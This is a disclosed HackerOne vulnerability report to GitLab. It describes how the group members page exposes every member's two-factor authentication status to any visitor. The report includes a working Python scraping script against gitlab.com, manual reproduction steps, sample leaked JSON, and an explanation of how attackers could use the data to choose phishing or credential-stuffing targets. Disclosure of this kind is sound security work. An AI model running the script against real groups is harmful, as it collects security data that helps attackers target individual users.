2FA status of the members of groups/projects are leaked through the source code
HackerOne report #1470023 by albatraoz
on 2022-02-03, assigned to @nmalcolm:
Report | Attachments | How To Reproduce
Original Report
Summary
2FA status of the users is a confidential information and should be only visible to peopler that the user allows to. According to the group permissions the 2FA status of the members of a group/project should be only visible to the owners/maintainers of the groups/projects & only they should be able to filter members on the basis of it. But the source code of the members list page is leaking the 2FA status of all the users.
Click here to view
Steps to reproduce
I've created a simple python script for easy reproduction:
- Install dependencies
pip3 install beautifulsoup4
- Create a python file with the following code
from bs4 import BeautifulSoup
import requests
import sys
import json
group_name = sys.argv[1]
res = requests.get(f"https://gitlab.com/groups/{group_name}/-/group_members")
data = res.content
soup = BeautifulSoup(data, 'html.parser')
div = soup.find("div", {"class": "js-group-members-list-app"})
res = json.loads(div["data-members-data"])
for member in res["user"]["members"]:
print(f'Username: {member["user"]["username"]}, 2FA Enabled: {member["user"]["two_factor_enabled"]}')
- Run the python script with the group name for which you want to expose the 2FA status of.
I've created a group for testing called 2fa_check, you can use it too.
python3 get_2fa_status.py 2fa2
- You would see the 2FA status of the members of the group being printed.
You can check the same group as you are not member of the group but still you will get the results.
Impact
Two factor authentication is a confidential security related PII data of the members which should not be accessible to the anyone except the owners/maintainers of projects/groups. An attacker would be able to retrieve this information easily using this vulnerability.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
- Open browser of choice's Developer Tools (or use cURL)
- As a logged out user, open any Group Members page for a public group.
- N.b. also works for logged in users looking at any Group you're a member of, or as a logged in user looking at public groups that you're not a member of
- Scroll through the server-provided response and look for a
div
with the classjs-group-members-list-app
(not the browser-rendered response) - View html encoded user deetz, incl. MFA status
In the below example, you see a signed out view of a public group, disclosing MFA status.
TODO / Other vulnerable endpoints
[{"id":24,"username":"victim","name":"Vic Tim","state":"active","avatar_url":"https://www.gravatar.com/avatar/cde15812b77a38321e6696050acb6d2c?s=80\u0026d=identicon","web_url":"http://gdk.test:3000/victim","access_level":50,"created_at":"2022-02-08T02:28:04.698Z","expires_at":null,"membership_state":"active"},{"id":8,"username":"jeff_collins","name":"Annita Weimann","state":"active","avatar_url":"https://www.gravatar.com/avatar/426f608516a49b9c7d5c78abc659c9cb?s=80\u0026d=identicon","web_url":"http://gdk.test:3000/jeff_collins","access_level":10,"created_at":"2022-02-08T02:46:20.063Z","expires_at":null,"membership_state":"active"},{"id":22,"username":"nm","name":"Nick Malcolm","state":"active","avatar_url":"http://gdk.test:3000/uploads/-/system/user/avatar/22/avatar.png","web_url":"http://gdk.test:3000/nm","access_level":10,"created_at":"2022-02-08T02:46:20.221Z","expires_at":null,"membership_state":"active"}]
Why is this happening?
I (@nmalcolm) think it's because the UI shows badges to owners/maintainers, but the page response is returning it to everyone. E.g. here's the AppSec team:
Why is this bad?
Well, we say we only show this status to a certain Role, so it's at least a documentation update if intentional.
But as an attacker, being able to see which users (e.g. of a popular open source project) has MFA disabled means I know who to target in a phishing attack. Or if I have a list of breached passwords, I can more easily know which accounts to skip because MFA is protecting them.